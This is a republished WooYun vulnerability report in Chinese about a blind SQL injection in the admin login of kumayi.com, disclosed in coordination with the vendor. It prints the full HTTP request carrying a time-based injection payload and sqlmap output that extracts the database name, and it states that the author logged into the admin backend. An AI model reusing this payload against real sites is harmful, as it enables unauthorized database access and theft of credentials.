木蚂蚁旗下某站存在SQL注入/并Getshell

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-30: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已经确认,细节仅向厂商公开
2016-05-13: 细节向核心白帽子及相关领域专家公开
2016-05-23: 细节向普通白帽子公开
2016-06-02: 细节向实习白帽子公开
2016-06-17: 细节向公众公开

简要描述:

木蚂蚁旗下某站存在SQL注入,并getshell

详细说明:

木蚂蚁旗下某站存在SQL注入,并getshell

旗下kumayi.com

存在post盲注

POST /admin.htm HTTP/1.1

Content-Length: 215

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://www.kumayi.com:80/

Cookie: PHPSESSID=12k6poruju02v827qqkf961ja4

Host: www.kumayi.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*



email=sample%40email.tst&password=g00dPa%24%24w0rD&remember=remember-me&username=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/

漏洞证明:

[18:19:30] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP 5.3.21

back-end DBMS: MySQL 5

[18:19:30] [INFO] fetching database names

[18:19:30] [INFO] fetching number of databases

[18:19:30] [INFO] resumed: 6

[18:19:30] [WARNING] (case) time-based comparison requires larger statistical mo

[18:19:30] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go

ing to retry the request(s)

.............................. (done)

[18:19:42] [WARNING] it is very important to not stress the network adapter duri

ng usage of time-based payloads to prevent potential disruptions



[18:19:43] [WARNING] in case of continuous data retrieval problems you are advis

ed to try a switch '--no-cast' or switch '--hex'

[18:19:43] [INFO] retrieved:

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option

'--time-sec')? [Y/n] y

[18:20:24] [ERROR] invalid character detected. retrying..

[18:20:24] [WARNING] increasing time delay to 6 seconds



[18:20:26] [INFO] retrieved:

[18:20:29] [INFO] retrieved:

[18:20:32] [INFO] retrieved:

[18:20:34] [INFO] retrieved:

[18:20:38] [INFO] falling back to current database

[18:20:38] [INFO] fetching current database

[18:20:38] [INFO] resumed: kumayipay_kumayi

available databases [1]:

[*] kumayipay_kumayi



[18:20:38] [INFO] fetched data logged to text files under 'C:\Users\Administrato

r\.sqlmap\output\www.kumayi.com'



kumayi.jpg





拿到帐号密码后 登录后台

kumayi2.jpg



邮箱1.jpg



邮箱.jpg



修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-05-03 10:18

厂商回复:

我们会尽快修复,感谢关注。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:木蚂蚁旗下某站存在SQL注入/并Getshell - https://www.15qq.cn/wooyun/735.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知